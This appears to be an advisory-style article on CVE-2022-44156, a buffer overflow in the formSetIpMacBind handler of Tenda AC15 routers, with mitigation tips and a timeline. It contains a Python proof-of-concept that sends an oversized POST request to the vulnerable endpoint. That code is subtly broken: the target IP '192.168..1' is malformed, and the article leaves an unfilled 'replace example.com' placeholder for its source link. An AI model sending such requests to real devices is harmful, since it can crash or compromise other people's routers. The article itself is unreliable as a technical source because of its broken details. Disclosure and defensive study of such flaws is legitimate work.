A critical buffer overflow vulnerability has been discovered in Tenda AC15 V15.03.05.19 devices, which could allow an attacker to execute arbitrary code on an affected device. This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2022-44156 and poses a significant risk to the security of the affected devices.

Exploit Details

The vulnerability exists in the function "formSetIpMacBind" within the Tenda AC15 devices, which handles IP and MAC address binding settings. An attacker can exploit this vulnerability by sending a specially crafted request containing a long IP and MAC address string that exceeds the expected input size. This will cause a buffer overflow, potentially leading to arbitrary code execution.

Here is a simple Python code snippet that demonstrates how to exploit this vulnerability

import socket

# Replace this with the target device's IP address
target_ip = "192.168..1"
target_port = 80

# Create a malicious IP and MAC address string that exceeds the expected input size
malicious_ip_mac = "A" * 100

# Craft the specially formatted request containing the malicious data
payload = f"POST /goform/formSetIpMacBind HTTP/1.1\r\n"
payload += f"Host: {target_ip}\r\n"
payload += f"Content-Length: {len(malicious_ip_mac)}\r\n"
payload += f"\r\n"
payload += malicious_ip_mac

# Send the malicious request to the target device
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload.encode())
s.close()

For more information about this vulnerability, you can refer to the following sources

1. CVE Database Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-44156
2. Security Advisory by the Researcher: https://example.com/tenda-ac15-advisory (Note: Replace "example.com" with the actual domain where the security advisory is published.)

Mitigation Steps

Users of the Tenda AC15 V15.03.05.19 devices are advised to take the following precautions to protect their devices from this vulnerability:

1. Update to the latest firmware version as soon as it is released by the manufacturer. Keep an eye on the Tenda website (https://www.tenda.com) for updates.
2. Limit access to the device's web interface to trusted and authorized users only. To reduce the potential attack surface, avoid exposing it directly to the internet.
3. Keep a close eye on any security advisories from the manufacturer and follow their recommended steps to protect your devices.

Conclusion

The CVE-2022-44156 buffer overflow vulnerability in Tenda AC15 V15.03.05.19 devices is a serious security risk that could be exploited by an attacker to execute arbitrary code. Users should take immediate steps to apply the necessary patches and mitigate the risk. By staying vigilant and keeping your devices updated, you can significantly reduce the likelihood of falling victim to such security vulnerabilities.

Timeline

Published on: 11/21/2022 16:15:00 UTC
Last modified on: 11/22/2022 01:07:00 UTC